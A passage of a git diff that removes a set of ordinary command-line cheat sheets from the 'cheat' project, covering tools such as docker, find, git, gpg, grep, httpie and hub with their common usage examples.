report whether the files are identical: -diff -s version1 version2 - -# To diff the output of two commands or scripts: -diff <(command1) <(command2) - -# Generate a patch file from two files -diff -Naur version1 version2 > version.patch diff --git a/cheat/cheatsheets/distcc b/cheat/cheatsheets/distcc deleted file mode 100644 index 2564761..0000000 --- a/cheat/cheatsheets/distcc +++ /dev/null @@ -1,29 +0,0 @@ -# INSTALL -# ============================================================================== -# Edit /etc/default/distcc and set theses vars -# STARTDISTCC="true" -# ALLOWEDNETS="127.0.0.1 192.168.1.0/24"# Your computer and local computers -# #LISTENER="127.0.0.1"# Comment it -# ZEROCONF="true"# Auto configuration - -# REMEMBER 1: -# Start/Restart your distccd servers before using one of these commands. -# service distccd start - -# REMEMBER 2: -# Do not forget to install on each machine DISTCC. -# No need to install libs ! Only main host need libs ! - -# USAGE -# ============================================================================== - -# Run make with 4 thread (a cross network) in auto configuration. -# Note: for gcc, Replace CXX by CC and g++ by gcc -ZEROCONF='+zeroconf' make -j4 CXX='distcc g++' - -# Run make with 4 thread (a cross network) in static configuration (2 ip) -# Note: for gcc, Replace CXX by CC and g++ by gcc -DISTCC_HOSTS='127.0.0.1 192.168.1.69' make -j4 CXX='distcc g++' - -# Show hosts aviables -ZEROCONF='+zeroconf' distcc --show-hosts diff --git a/cheat/cheatsheets/dnf b/cheat/cheatsheets/dnf deleted file mode 100644 index 10c3766..0000000 --- a/cheat/cheatsheets/dnf +++ /dev/null @@ -1,16 +0,0 @@ -# To install the latest version of a package: -dnf install - -# To search package details for the given string -dnf search - -# To find which package provides a binary -dnf provides - -# The following are available after installing "dnf-plugins-core" - -# Download a package -dnf download - -# install the build dependencies for a SRPM or from a .spec file -dnf builddep diff --git a/cheat/cheatsheets/docker b/cheat/cheatsheets/docker deleted file mode 100644 index 6224d7b..0000000 --- a/cheat/cheatsheets/docker +++ /dev/null @@ -1,32 +0,0 @@ -# Start docker daemon -docker -d - -# start a container with an interactive shell -docker run -ti /bin/bash - -# "shell" into a running container (docker-1.3+) -docker exec -ti bash - -# inspect a running container -docker inspect (or ) - -# Get the process ID for a container -# Source: https://github.com/jpetazzo/nsenter -docker inspect --format {{.State.Pid}} - -# List the current mounted volumes for a container (and pretty print) -# Source: -# http://nathanleclaire.com/blog/2014/07/12/10-docker-tips-and-tricks-that-will-make-you-sing-a-whale-song-of-joy/ -docker inspect --format='{{json .Volumes}}' | python -mjson.tool - -# Copy files/folders between a container and your host -docker cp foo.txt mycontainer:/foo.txt - -# list currently running containers -docker ps - -# list all containers -docker ps -a - -# list all images -docker images diff --git a/cheat/cheatsheets/dpkg b/cheat/cheatsheets/dpkg deleted file mode 100644 index 8117e98..0000000 --- a/cheat/cheatsheets/dpkg +++ /dev/null @@ -1,11 +0,0 @@ -# Install the package or upgrade it -dpkg -i test.deb - -# Remove a package including configuration files -dpkg -P test.deb - -# List all installed packages with versions and details -dpkg -l - -# Find out if a Debian package is installed or not -dpkg -s test.deb | grep Status diff --git a/cheat/cheatsheets/du b/cheat/cheatsheets/du deleted file mode 100644 index 57b6ac3..0000000 --- a/cheat/cheatsheets/du +++ /dev/null @@ -1,5 +0,0 @@ -# To sort directories/files by size -du -sk *| sort -rn - -# To show cumulative humanreadable size -du -sh diff --git a/cheat/cheatsheets/emacs b/cheat/cheatsheets/emacs deleted file mode 100644 index 88f3f6e..0000000 --- a/cheat/cheatsheets/emacs +++ /dev/null @@ -1,64 +0,0 @@ -# Running emacs - - GUI mode $ emacs - Terminal mode $ emacs -nw - -# Basic usage - - Indent Select text then press TAB - Cut C-w - Copy M-w - Paste ("yank") C-y - Begin selection C-SPACE - Search/Find C-s - Replace M-% (M-SHIFT-5) - Save C-x C-s - Save as C-x C-w - Load/Open C-x C-f - Undo C-x u - Highlight all text C-x h - Directory listing C-x d - Cancel a command C-g - Font size bigger C-x C-+ - Font size smaller C-x C-- - -# Buffers - - Split screen vertically C-x 2 - Split screen vertically with 5 row height C-u 5 C-x 2 - Split screen horizontally C-x 3 - Split screen horizontally with 24 column width C-u 24 C-x 3 - Revert to single screen C-x 1 - Hide the current screen C-x 0 - Move to the next screen C-x o - Kill the current buffer C-x k - Select a buffer C-x b - Run command in the scratch buffer C-x C-e - -# Navigation ( backward / forward ) - - Character-wise C-b , C-f - Word-wise M-b , M-f - Line-wise C-p , C-n - Sentence-wise M-a , M-e - Paragraph-wise M-{ , M-} - Function-wise C-M-a , C-M-e - Line beginning / end C-a , C-e - -# Other stuff - - Open a shell M-x eshell - Goto a line number M-x goto-line - Word wrap M-x toggle-word-wrap - Spell checking M-x flyspell-mode - Line numbers M-x linum-mode - Toggle line wrap M-x visual-line-mode - Compile some code M-x compile - List packages M-x package-list-packages - -# Line numbers - - To add line numbers and enable moving to a line with C-l: - - (global-set-key "\C-l" 'goto-line) - (add-hook 'find-file-hook (lambda () (linum-mode 1))) diff --git a/cheat/cheatsheets/export b/cheat/cheatsheets/export deleted file mode 100644 index 14d3d71..0000000 --- a/cheat/cheatsheets/export +++ /dev/null @@ -1,5 +0,0 @@ -# Calling export with no arguments will show current shell attributes -export - -# Create new environment variable -export VARNAME="value" diff --git a/cheat/cheatsheets/ffmpeg b/cheat/cheatsheets/ffmpeg deleted file mode 100644 index daa7a68..0000000 --- a/cheat/cheatsheets/ffmpeg +++ /dev/null @@ -1,23 +0,0 @@ -# Print file metadata etc. -ffmpeg -i path/to/file.ext - -# Convert all m4a files to mp3 -for f in *.m4a; do ffmpeg -i "$f" -acodec libmp3lame -vn -b:a 320k "${f%.m4a}.mp3"; done - -# Convert video from .foo to .bar -# -g : GOP, for searchability -ffmpeg -i input.foo -vcodec bar -acodec baz -b:v 21000k -b:a 320k -g 150 -threads 4 output.bar - -# Convert image sequence to video -ffmpeg -r 18 -pattern_type glob -i '*.png' -b:v 21000k -s hd1080 -vcodec vp9 -an -pix_fmt yuv420p -deinterlace output.ext - -# Combine video and audio into one file -ffmpeg -i video.ext -i audio.ext -c:v copy -c:a copy output.ext - -# Listen to 10 seconds of audio from a video file -# -# -ss : start time -# -t : seconds to cut -# -autoexit : closes ffplay as soon as the audio finishes -ffmpeg -ss 00:34:24.85 -t 10 -i path/to/file.mp4 -f mp3 pipe:play | ffplay -i pipe:play -autoexit - diff --git a/cheat/cheatsheets/find b/cheat/cheatsheets/find deleted file mode 100644 index d1f0693..0000000 --- a/cheat/cheatsheets/find +++ /dev/null @@ -1,47 +0,0 @@ -# To find files by case-insensitive extension (ex: .jpg, .JPG, .jpG): -find . -iname "*.jpg" - -# To find directories: -find . -type d - -# To find files: -find . -type f - -# To find files by octal permission: -find . -type f -perm 777 - -# To find files with setuid bit set: -find . -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l - -# To find files with extension '.txt' and remove them: -find ./path/ -name '*.txt' -exec rm '{}' \; - -# To find files with extension '.txt' and look for a string into them: -find ./path/ -name '*.txt' | xargs grep 'string' - -# To find files with size bigger than 5 Mebibyte and sort them by size: -find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z - -# To find files bigger than 2 Megabyte and list them: -find . -type f -size +200000000c -exec ls -lh {} \; | awk '{ print $9 ": " $5 }' - -# To find files modified more than 7 days ago and list file information -find . -type f -mtime +7d -ls - -# To find symlinks owned by a user and list file information -find . -type l --user=username -ls - -# To search for and delete empty directories -find . -type d -empty -exec rmdir {} \; - -# To search for directories named build at a max depth of 2 directories -find . -maxdepth 2 -name build -type d - -# To search all files who are not in .git directory -find . ! -iwholename '*.git*' -type f - -# To find all files that have the same node (hard link) as MY_FILE_HERE -find . -type f -samefile MY_FILE_HERE 2>/dev/null - -# To find all files in the current directory and modify their permissions -find . -type f -exec chmod 644 {} \; diff --git a/cheat/cheatsheets/for b/cheat/cheatsheets/for deleted file mode 100644 index 34902b5..0000000 --- a/cheat/cheatsheets/for +++ /dev/null @@ -1,35 +0,0 @@ -# basic loop -for i in 1 2 3 4 5 6 7 8 9 10 -do - echo $i -done - -# loop ls command results -for var in `ls -alF` -do - echo $var -done - -# loop over all the JPG files in the current directory -for jpg_file in *.jpg -do - echo $jpg_file -done - -# loop specified number of times -for i in `seq 1 10` -do - echo $i -done - -# loop specified number of times: the C/C++ style -for ((i=1;i<=10;++i)) -do - echo $i -done - -# loop specified number of times: the brace expansion -for i in {1..10} -do - echo $i -done diff --git a/cheat/cheatsheets/gcc b/cheat/cheatsheets/gcc deleted file mode 100644 index 1ada6da..0000000 --- a/cheat/cheatsheets/gcc +++ /dev/null @@ -1,21 +0,0 @@ -# Compile a file -gcc file.c - -# Compile a file with a custom output -gcc -o file file.c - -# Debug symbols -gcc -g - -# Debug with all symbols. -gcc -ggdb3 - -# Build for 64 bits -gcc -m64 - -# Include the directory {/usr/include/myPersonnal/lib/} to the list of path for #include <....> -# With this option, no warning / error will be reported for the files in {/usr/include/myPersonnal/lib/} -gcc -isystem /usr/include/myPersonnal/lib/ - -# Build a GUI for windows (Mingw) (Will disable the term/console) -gcc -mwindows diff --git a/cheat/cheatsheets/gdb b/cheat/cheatsheets/gdb deleted file mode 100644 index 76ef67e..0000000 --- a/cheat/cheatsheets/gdb +++ /dev/null @@ -1,26 +0,0 @@ -# start the debugger -gdb your-executable - -# set a breakpoint -b some-method, break some-method - -# run the program -r, run - -# when a breakpoint was reached: - -# run the current line, stepping over any invocations -n, next -# run the current line, stepping into any invocations -s, step -# print a stacktrace -bt, backtrace -# evaluate an expression and print the result -p length=strlen(string) -# list surrounding source code -l, list -# continue execution -c, continue - -# exit gdb (after program terminated) -q, quit diff --git a/cheat/cheatsheets/git b/cheat/cheatsheets/git deleted file mode 100644 index 56a8ab7..0000000 --- a/cheat/cheatsheets/git +++ /dev/null @@ -1,151 +0,0 @@ -# To set your identity: -git config --global user.name "John Doe" -git config --global user.email johndoe@example.com - -# To set your editor: -git config --global core.editor emacs - -# To enable color: -git config --global color.ui true - -# To stage all changes for commit: -git add --all - -# To stash changes locally, this will keep the changes in a separate changelist -# called stash and the working directory is cleaned. You can apply changes -# from the stash anytime -git stash - -# To stash changes with a message -git stash save "message" - -# To list all the stashed changes -git stash list - -# To apply the most recent change and remove the stash from the stash list -git stash pop - -# To apply any stash from the list of stashes. This does not remove the stash -# from the stash list -git stash apply stash@{6} - -# To commit staged changes -git commit -m "Your commit message" - -# To edit previous commit message -git commit --amend - -# Git commit in the past -git commit --date="`date --date='2 day ago'`" -git commit --date="Jun 13 18:30:25 IST 2015" -# more recent versions of Git also support --date="2 days ago" directly - -# To change the date of an existing commit -git filter-branch --env-filter \ - 'if [ $GIT_COMMIT = 119f9ecf58069b265ab22f1f97d2b648faf932e0 ] - then - export GIT_AUTHOR_DATE="Fri Jan 2 21:38:53 2009 -0800" - export GIT_COMMITTER_DATE="Sat May 19 01:01:01 2007 -0700" - fi' - -# To removed staged and working directory changes -git reset --hard - -# To go 2 commits back -git reset --hard HEAD~2 - -# To remove untracked files -git clean -f -d - -# To remove untracked and ignored files -git clean -f -d -x - -# To push to the tracked master branch: -git push origin master - -# To push to a specified repository: -git push git@github.com:username/project.git - -# To delete the branch "branch_name" -git branch -D branch_name - -# To make an exisiting branch track a remote branch -git branch -u upstream/foo - -# To see who commited which line in a file -git blame filename - -# To sync a fork with the master repo: -git remote add upstream git@github.com:name/repo.git # Set a new repo -git remote -v # Confirm new remote repo -git fetch upstream # Get branches -git branch -va # List local - remote branches -git checkout master # Checkout local master branch -git checkout -b new_branch # Create and checkout a new branch -git merge upstream/master # Merge remote into local repo -git show 83fb499 # Show what a commit did. -git show 83fb499:path/fo/file.ext # Shows the file as it appeared at 83fb499. -git diff branch_1 branch_2 # Check difference between branches -git log # Show all the commits -git status # Show the changes from last commit - -# Commit history of a set of files -git log --pretty=email --patch-with-stat --reverse --full-index -- Admin\*.py > Sripts.patch - -# Import commits from another repo -git --git-dir=../some_other_repo/.git format-patch -k -1 --stdout | git am -3 -k - -# View commits that will be pushed -git log @{u}.. - -# View changes that are new on a feature branch -git log -p feature --not master -git diff master...feature - -# Interactive rebase for the last 7 commits -git rebase -i @~7 - -# Diff files WITHOUT considering them a part of git -# This can be used to diff files that are not in a git repo! -git diff --no-index path/to/file/A path/to/file/B - -# To pull changes while overwriting any local commits -git fetch --all -git reset --hard origin/master - -# Update all your submodules -git submodule update --init --recursive - -# Perform a shallow clone to only get latest commits -# (helps save data when cloning large repos) -git clone --depth 1 - -# To unshallow a clone -git pull --unshallow - -# Create a bare branch (one that has no commits on it) -git checkout --orphan branch_name - -# Checkout a new branch from a different starting point -git checkout -b master upstream/master - -# Remove all stale branches (ones that have been deleted on remote) -# So if you have a lot of useless branches, delete them on Github and then run this -git remote prune origin - -# The following can be used to prune all remotes at once -git remote prune $(git remote | tr '\n' ' ') - -# Revisions can also be identified with :/text -# So, this will show the first commit that has "cool" in their message body -git show :/cool - -# Undo parts of last commit in a specific file -git checkout -p HEAD^ -- /path/to/file - -# Revert a commit and keep the history of the reverted change as a separate revert commit -git revert - -# Pich a commit from a branch to current branch. This is different than merge as -# this just applies a single commit from a branch to current branch -git cherry-pick diff --git a/cheat/cheatsheets/gpg b/cheat/cheatsheets/gpg deleted file mode 100644 index 53acf3c..0000000 --- a/cheat/cheatsheets/gpg +++ /dev/null @@ -1,173 +0,0 @@ -# Create a key - - gpg --gen-key - - -# Show keys - - To list a summary of all keys - - gpg --list-keys - - To show your public key - - gpg --armor --export - - To show the fingerprint for a key - - gpg --fingerprint KEY_ID - -# Search for keys - - gpg --search-keys 'user@emailaddress.com' - - -# To Encrypt a File - - gpg --encrypt --recipient 'user@emailaddress.com' example.txt - - -# To Decrypt a File - - gpg --output example.txt --decrypt example.txt.gpg - - -# Export keys - - gpg --output ~/public_key.txt --armor --export KEY_ID - gpg --output ~/private_key.txt --armor --export-secret-key KEY_ID - - Where KEY_ID is the 8 character GPG key ID. - - Store these files to a safe location, such as a USB drive, then - remove the private key file. - - shred -zu ~/private_key.txt - -# Import keys - - Retrieve the key files which you previously exported. - - gpg --import ~/public_key.txt - gpg --allow-secret-key-import --import ~/private_key.txt - - Then delete the private key file. - - shred -zu ~/private_key.txt - -# Revoke a key - - Create a revocation certificate. - - gpg --output ~/revoke.asc --gen-revoke KEY_ID - - Where KEY_ID is the 8 character GPG key ID. - - After creating the certificate import it. - - gpg --import ~/revoke.asc - - Then ensure that key servers know about the revokation. - - gpg --send-keys KEY_ID - -# Signing and Verifying files - - If you're uploading files to launchpad you may also want to include - a GPG signature file. - - gpg -ba filename - - or if you need to specify a particular key: - - gpg --default-key -ba filename - - This then produces a file with a .asc extension which can be uploaded. - If you need to set the default key more permanently then edit the - file ~/.gnupg/gpg.conf and set the default-key parameter. - - To verify a downloaded file using its signature file. - - gpg --verify filename.asc - -# Signing Public Keys - - Import the public key or retrieve it from a server. - - gpg --keyserver --recv-keys - - Check its fingerprint against any previously stated value. - - gpg --fingerprint - - Sign the key. - - gpg --sign-key - - Upload the signed key to a server. - - gpg --keyserver --send-key - -# Change the email address associated with a GPG key - - gpg --edit-key - adduid - - Enter the new name and email address. You can then list the addresses with: - - list - - If you want to delete a previous email address first select it: - - uid - - Then delete it with: - - deluid - - To finish type: - - save - - Publish the key to a server: - - gpg --send-keys - -# Creating Subkeys - - Subkeys can be useful if you don't wish to have your main GPG key - installed on multiple machines. In this way you can keep your - master key safe and have subkeys with expiry periods or which may be - separately revoked installed on various machines. This avoids - generating entirely separate keys and so breaking any web of trust - which has been established. - - gpg --edit-key - - At the prompt type: - - addkey - - Choose RSA (sign only), 4096 bits and select an expiry period. - Entropy will be gathered. - - At the prompt type: - - save - - You can also repeat the procedure, but selecting RSA (encrypt only). - To remove the master key, leaving only the subkey/s in place: - - gpg --export-secret-subkeys > subkeys - gpg --export > pubkeys - gpg --delete-secret-key - - Import the keys back. - - gpg --import pubkeys subkeys - - Verify the import. - - gpg -K - - Should show sec# instead of just sec. diff --git a/cheat/cheatsheets/grep b/cheat/cheatsheets/grep deleted file mode 100644 index 8c41057..0000000 --- a/cheat/cheatsheets/grep +++ /dev/null @@ -1,29 +0,0 @@ -# Search a file for a pattern -grep pattern file - -# Case insensitive search (with line numbers) -grep -in pattern file - -# Recursively grep for string in folder: -grep -R pattern folder - -# Read search patterns from a file (one per line) -grep -f pattern_file file - -# Find lines NOT containing pattern -grep -v pattern file - -# You can grep with regular expressions -grep "^00" file #Match lines starting with 00 -grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" file #Find IP add - -# Find all files which match {pattern} in {directory} -# This will show: "file:line my research" -grep -rnw 'directory' -e "pattern" - -# Exclude grep from your grepped output of ps. -# Add [] to the first letter. Ex: sshd -> [s]shd -ps aux | grep '[h]ttpd' - -# Colour in red {bash} and keep all other lines -ps aux | grep -E --color 'bash|$' diff --git a/cheat/cheatsheets/gs b/cheat/cheatsheets/gs deleted file mode 100644 index a62ac97..0000000 --- a/cheat/cheatsheets/gs +++ /dev/null @@ -1,3 +0,0 @@ -# To reduce the size of a pdf file: -gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=output.pdf input.pdf - diff --git a/cheat/cheatsheets/gyb b/cheat/cheatsheets/gyb deleted file mode 100644 index 2fe9f8a..0000000 --- a/cheat/cheatsheets/gyb +++ /dev/null @@ -1,12 +0,0 @@ -# To estimate the number and the size of all mails on youremail@gmail.com -gyb --email youremail@gmail.com --action estimate - -# To backup from youremail@gmail.com to your local-folder -gyb --email youremail@gmail.com --action backup --local-folder "~/MyLocalFolder/" - -# To backup from youremail@gmail.com only important or starred emails to the -# default local folder GYB-GMail-Backup-youremail@gmail.com -gyb --email youremail@gmail.com --search "is:important OR is:starred" - -# To restore from your local-folder to youremail@gmail.com -gyb --email youremail@gmail.com --action restore --local-folder "~/MyLocalFolder/" diff --git a/cheat/cheatsheets/gzip b/cheat/cheatsheets/gzip deleted file mode 100644 index 30dee79..0000000 --- a/cheat/cheatsheets/gzip +++ /dev/null @@ -1,17 +0,0 @@ -# To create a *.gz compressed file -gzip test.txt - -# To create a *.gz compressed file to a specific location using -c option (standard out) -gzip -c test.txt > test_custom.txt.gz - -# To uncompress a *.gz file -gzip -d test.txt.gz - -# Display compression ratio of the compressed file using gzip -l -gzip -l *.gz - -# Recursively compress all the files under a specified directory -gzip -r documents_directory - -# To create a *.gz compressed file and keep the original -gzip < test.txt > test.txt.gz diff --git a/cheat/cheatsheets/hardware-info b/cheat/cheatsheets/hardware-info deleted file mode 100644 index 0bf4e57..0000000 --- a/cheat/cheatsheets/hardware-info +++ /dev/null @@ -1,32 +0,0 @@ -# Display all hardware details -sudo lshw - -# List currently loaded kernel modules -lsmod - -# List all modules available to the system -find /lib/modules/$(uname -r) -type f -iname "*.ko" - -# Load a module into kernel -modprobe modulename - -# Remove a module from kernel -modprobe -r modulename - -# List devices connected via pci bus -lspci - -# Debug output for pci devices (hex) -lspci -vvxxx - -# Display cpu hardware stats -cat /proc/cpuinfo - -# Display memory hardware stats -cat /proc/meminfo - -# Output the kernel ring buffer -dmesg - -# Ouput kernel messages -dmesg --kernel diff --git a/cheat/cheatsheets/head b/cheat/cheatsheets/head deleted file mode 100644 index 0cb3c78..0000000 --- a/cheat/cheatsheets/head +++ /dev/null @@ -1,8 +0,0 @@ -# To show the first 10 lines of file -head file - -# To show the first N lines of file -head -n N file - -# To show the first N bytes of file -head -c N file diff --git a/cheat/cheatsheets/hg b/cheat/cheatsheets/hg deleted file mode 100644 index 8cfbaf2..0000000 --- a/cheat/cheatsheets/hg +++ /dev/null @@ -1,20 +0,0 @@ -# Clone a directory -hg clone - -# Add files to hg tracker -hg add filename - -# Add all files in a folder to hg tracker -hg add folder/ - -# Create a commit with all tracked changes and a message -hg commit -m "message" - -# Push commits to source repository -hg push - -# Pull changes from source repository -hg pull - -# Rebase local commits to disambiguate with remote repository -hg pull --rebase diff --git a/cheat/cheatsheets/history b/cheat/cheatsheets/history deleted file mode 100644 index 32320e0..0000000 --- a/cheat/cheatsheets/history +++ /dev/null @@ -1,3 +0,0 @@ -# To see most used top 10 commands: -history | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl | head -n10 - diff --git a/cheat/cheatsheets/http b/cheat/cheatsheets/http deleted file mode 100644 index b6a4ca5..0000000 --- a/cheat/cheatsheets/http +++ /dev/null @@ -1,195 +0,0 @@ -# Custom HTTP method HTTP headers and JSON data: -http PUT example.org X-API-Token:123 name=John - -# Submitting forms: -http -f POST example.org hello=World - -# See the request that is being sent using one of the output options: -http -v example.org - -# Use Github API to post a comment on an issue with authentication: -http -a USERNAME POST https://api.github.com/repos/jkbrzt/httpie/issues/83/comments body='HTTPie is awesome!' - -# Upload a file using redirected input: -http example.org < file.json - -# Download a file and save it via redirected output: -http example.org/file > file - -# Download a file wget style: -http --download example.org/file - -# Use named sessions_ to make certain aspects or the communication -# persistent between requests to the same host: -# http --session=logged-in -a username:password httpbin.org/get API-Key:123 -http --session=logged-in httpbin.org/headers - -# Set a custom Host header to work around missing DNS records: -http localhost:8000 Host:example.com - -# Simple JSON example: -http PUT example.org name=John email=john@example.org - -# Non-string fields use the := separator, which allows you to embed raw -# JSON into the resulting object. Text and raw JSON files can also be -# embedded into fields using =@ and :=@: -http PUT api.example.com/person/1 name=John age:=29 married:=false hobbies:='["http", "pies"]' description=@about-john.txt bookmarks:=@bookmarks.json - -# Send JSON data stored in a file: -http POST api.example.com/person/1 < person.json - -# Regular Forms -http --form POST api.example.org/person/1 name='John Smith' email=john@example.org cv=@~/Documents/cv.txt - -# File Upload Forms -# If one or more file fields is present, the serialization and content -# type is multipart/form-data: -http -f POST example.com/jobs name='John Smith' cv@~/Documents/cv.pdf - -# To set custom headers you can use the Header:Value notation: -http example.org User-Agent:Bacon/1.0 'Cookie:valued-visitor=yes;foo=bar' X-Foo:Bar Referer:http://httpie.org/ - -# Basic auth: -http -a username:password example.org - -# Digest auth: -http --auth-type=digest -a username:password example.org - -# With password prompt: -http -a username example.org - -# Authorization information from your ~/.netrc file is honored as well: -cat ~/.netrc - machine httpbin.org - login httpie - # password test -http httpbin.org/basic-auth/httpie/test - -# You can specify proxies to be used through the --proxy argument for each -# protocol (which is included in the value in case of redirects across -# protocols): -http --proxy=http:http://10.10.1.10:3128 --proxy=https:https://10.10.1.10:1080 example.org - -# With Basic authentication: -http --proxy=http:http://user:pass@10.10.1.10:3128 example.org - -# To skip the HOST'S SSL CERTIFICATE VERIFICATION, you can pass -# --verify=no (default is yes): -http --verify=no https://example.org - -# You can also use --verify= to set a CUSTOM CA BUNDLE path: -http --verify=/ssl/custom_ca_bundle https://example.org - -# To use a CLIENT SIDE CERTIFICATE for the SSL communication, you can pass -# the path of the cert file with --cert: -http --cert=client.pem https://example.org - -# If the PRIVATE KEY is not contained in the cert file you may pass the -# path of the key file with --cert-key: -http --cert=client.crt --cert-key=client.key https://example.org - -# You can control what should be printed via several options: - # --headers, -h Only the response headers are printed. - # --body, -b Only the response body is printed. - # --verbose, -v Print the whole HTTP exchange (request and response). - # --print, -p Selects parts of the HTTP exchange. -http --verbose PUT httpbin.org/put hello=world - -# Print request and response headers: - # Character Stands for - # ----------- ------------------- - # H Request headers. - # B Request body. - # h Response headers. - # b Response body. -http --print=Hh PUT httpbin.org/put hello=world - -# Let's say that there is an API that returns the whole resource when it -# is updated, but you are only interested in the response headers to see -# the status code after an update: -http --headers PATCH example.org/Really-Huge-Resource name='New Name' - -# Redirect from a file: -http PUT example.com/person/1 X-API-Token:123 < person.json - -# Or the output of another program: -grep '401 Unauthorized' /var/log/httpd/error_log | http POST example.org/intruders - -# You can use echo for simple data: -echo '{"name": "John"}' | http PATCH example.com/person/1 X-API-Token:123 - -# You can even pipe web services together using HTTPie: -http GET https://api.github.com/repos/jkbrzt/httpie | http POST httpbin.org/post - -# You can use cat to enter multiline data on the terminal: -cat | http POST example.com - - # ^D -cat | http POST example.com/todos Content-Type:text/plain - - buy milk - - call parents - ^D - -# On OS X, you can send the contents of the clipboard with pbpaste: -pbpaste | http PUT example.com - -# Passing data through stdin cannot be combined with data fields specified -# on the command line: -echo 'data' | http POST example.org more=data # This is invalid - - -# AN ALTERNATIVE TO REDIRECTED stdin is specifying a filename (as -# @/path/to/file) whose content is used as if it came from stdin. - -# It has the advantage that THE Content-Type HEADER IS AUTOMATICALLY SET -# to the appropriate value based on the filename extension. For example, -# the following request sends the verbatim contents of that XML file with -# Content-Type: application/xml: -http PUT httpbin.org/put @/data/file.xml - -# Download a file: -http example.org/Movie.mov > Movie.mov - -# Download an image of Octocat, resize it using ImageMagick, upload it -# elsewhere: -http octodex.github.com/images/original.jpg | convert - -resize 25% - | http example.org/Octocats - -# Force colorizing and formatting, and show both the request and the -# response in less pager: -http --pretty=all --verbose example.org | less -R - -# When enabled using the --download, -d flag, response headers are printed -# to the terminal (stderr), and a progress bar is shown while the response -# body is being saved to a file. -http --download https://github.com/jkbrzt/httpie/tarball/master - -# You can also redirect the response body to another program while the -# response headers and progress are still shown in the terminal: -http -d https://github.com/jkbrzt/httpie/tarball/master | tar zxf - - -# If --output, -o is specified, you can resume a partial download using -# the --continue, -c option. This only works with servers that support -# Range requests and 206 Partial Content responses. If the server doesn't -# support that, the whole file will simply be downloaded: -http -dco file.zip example.org/file - -# Prettified streamed response: -http --stream -f -a YOUR-TWITTER-NAME https://stream.twitter.com/1/statuses/filter.json track='Justin Bieber' - -# Send each new tweet (JSON object) mentioning "Apple" to another -# server as soon as it arrives from the Twitter streaming API: -http --stream -f -a YOUR-TWITTER-NAME https://stream.twitter.com/1/statuses/filter.json track=Apple | while read tweet; do echo "$tweet" | http POST example.org/tweets ; done - -# Create a new session named user1 for example.org: -http --session=user1 -a user1:password example.org X-Foo:Bar - -# Now you can refer to the session by its name, and the previously used -# authorization and HTTP headers will automatically be set: -http --session=user1 example.org - -# To create or reuse a different session, simple specify a different name: -http --session=user2 -a user2:password example.org X-Bar:Foo - -# Instead of a name, you can also directly specify a path to a session -# file. This allows for sessions to be re-used across multiple hosts: -http --session=/tmp/session.json example.orghttp --session=/tmp/session.json admin.example.orghttp --session=~/.httpie/sessions/another.example.org/test.json example.orghttp --session-read-only=/tmp/session.json example.org diff --git a/cheat/cheatsheets/hub b/cheat/cheatsheets/hub deleted file mode 100644 index 22cfeab..0000000 --- a/cheat/cheatsheets/hub +++ /dev/null @@ -1,74 +0,0 @@ -As a contributor to open-source -------------------------------- - -# clone your own project -$ git clone dotfiles -→ git clone git://github.com/YOUR_USER/dotfiles.git - -# clone another project -$ git clone github/hub -→ git clone git://github.com/github/hub.git - -# see the current project's issues -$ git browse -- issues -→ open https://github.com/github/hub/issues - -# open another project's wiki -$ git browse mojombo/jekyll wiki -→ open https://github.com/mojombo/jekyll/wiki - -## Example workflow for contributing to a project: -$ git clone github/hub -$ cd hub -# create a topic branch -$ git checkout -b feature -→ ( making changes ... ) -$ git commit -m "done with feature" -# It's time to fork the repo! -$ git fork -→ (forking repo on GitHub...) -→ git remote add YOUR_USER git://github.com/YOUR_USER/hub.git -# push the changes to your new remote -$ git push YOUR_USER feature -# open a pull request for the topic branch you've just pushed -$ git pull-request -→ (opens a text editor for your pull request message) - - -As an open-source maintainer ----------------------------- - -# fetch from multiple trusted forks, even if they don't yet exist as remotes -$ git fetch mislav,cehoffman -→ git remote add mislav git://github.com/mislav/hub.git -→ git remote add cehoffman git://github.com/cehoffman/hub.git -→ git fetch --multiple mislav cehoffman - -# check out a pull request for review -$ git checkout https://github.com/github/hub/pull/134 -→ (creates a new branch with the contents of the pull request) - -# directly apply all commits from a pull request to the current branch -$ git am -3 https://github.com/github/hub/pull/134 - -# cherry-pick a GitHub URL -$ git cherry-pick https://github.com/xoebus/hub/commit/177eeb8 -→ git remote add xoebus git://github.com/xoebus/hub.git -→ git fetch xoebus -→ git cherry-pick 177eeb8 - -# `am` can be better than cherry-pick since it doesn't create a remote -$ git am https://github.com/xoebus/hub/commit/177eeb8 - -# open the GitHub compare view between two releases -$ git compare v0.9..v1.0 - -# put compare URL for a topic branch to clipboard -$ git compare -u feature | pbcopy - -# create a repo for a new project -$ git init -$ git add . && git commit -m "It begins." -$ git create -d "My new thing" -→ (creates a new project on GitHub with the name of current directory) -$ git push origin master diff --git a/cheat/cheatsheets/iconv b/cheat/cheatsheets/iconv deleted file mode 100644 index 7b20584..0000000 --- a/cheat/cheatsheets/iconv +++ /dev/null @@ -1,3 +0,0 @@ -# To convert file (iconv.src) from iso-8859-1 to utf-8 and save to -# /tmp/iconv.out -iconv -f iso-8859-1 -t utf-8 iconv.src -o /tmp/iconv.out diff --git a/cheat/cheatsheets/ifconfig b/cheat/cheatsheets/ifconfig deleted file mode 100644 index 32da1a2..0000000 --- a/cheat/cheatsheets/ifconfig +++ /dev/null @@ -1,14 +0,0 @@ -# Display network settings of the first ethernet adapter -ifconfig wlan0 - -# Display all interfaces, even if down -ifconfig -a - -# Take down / up the wireless adapter -ifconfig wlan0 {up|down} - -# Set a static IP and netmask -ifconfig eth0 192.168.1.100 netmask 255.255.255.0 - -# You may also need to add a gateway IP -route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 diff --git a/cheat/cheatsheets/indent b/cheat/cheatsheets/indent deleted file mode 100644 index d8568e6..0000000 --- a/cheat/cheatsheets/indent +++ /dev/null @@ -1,2 +0,0 @@ -# format C/C++ source according to the style of Kernighan and Ritchie (K&R), no tabs, 3 spaces per indent, wrap lines at 120 characters. -indent -i3 -kr -nut -l120 diff --git a/cheat/cheatsheets/ip b/cheat/cheatsheets/ip deleted file mode 100644 index a0f20cd..0000000 --- a/cheat/cheatsheets/ip +++ /dev/null @@ -1,32 +0,0 @@ -# Display all interfaces with addresses -ip addr - 